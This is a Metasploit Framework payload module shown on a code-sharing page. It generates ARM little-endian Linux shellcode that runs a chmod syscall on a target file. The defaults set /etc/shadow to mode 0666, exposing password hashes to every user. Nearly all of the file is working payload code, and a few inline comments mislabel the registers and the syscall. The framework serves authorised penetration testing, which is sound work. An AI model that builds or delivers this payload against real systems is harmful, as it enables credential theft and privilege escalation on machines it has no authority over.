Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/armle/chmod.rb
31164 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 40
8
9
include Msf::Payload::Single
10
11
def initialize(info = {})
12
super(
13
merge_info(
14
info,
15
'Name' => 'Linux Chmod',
16
'Description' => 'Runs chmod on the specified file with specified mode.',
17
'Author' => 'bcoles',
18
'License' => MSF_LICENSE,
19
'Platform' => 'linux',
20
'Arch' => ARCH_ARMLE,
21
'References' => [
22
['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],
23
['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],
24
]
25
)
26
)
27
register_options([
28
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
29
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
30
])
31
end
32
33
# @return [String] the full path of the file to be modified
34
def chmod_file_path
35
datastore['FILE'] || ''
36
end
37
38
# @return [Integer] the desired mode for the file
39
def mode
40
(datastore['MODE'] || '0666').oct
41
rescue StandardError => e
42
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
43
end
44
45
# @return [Integer] ARM LE instruction to load mode into r2 register
46
# For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r2
47
def chmod_instruction(mode)
48
0xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)
49
end
50
51
def generate(_opts = {})
52
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF
53
54
shellcode = [
55
0xe28f0014, # add r0, pc, #20 # pointer to path
56
chmod_instruction(mode), # movw r2, <mode>
57
0xe3a0700f, # mov r7, #15 # __NR_fchmodat
58
0xef000000, # svc 0x00000000 # syscall
59
0xe3a00000, # mov r0, #0 # exit code = 0
60
0xe3a07001, # mov r7, #1 # __NR_exit
61
0xef000000 # svc 0x00000000 # syscall
62
].pack('V*')
63
shellcode += chmod_file_path + "\x00"
64
65
# align our shellcode to 4 bytes
66
shellcode += "\x00" while shellcode.bytesize % 4 != 0
67
68
super.to_s + shellcode
69
end
70
end
71
72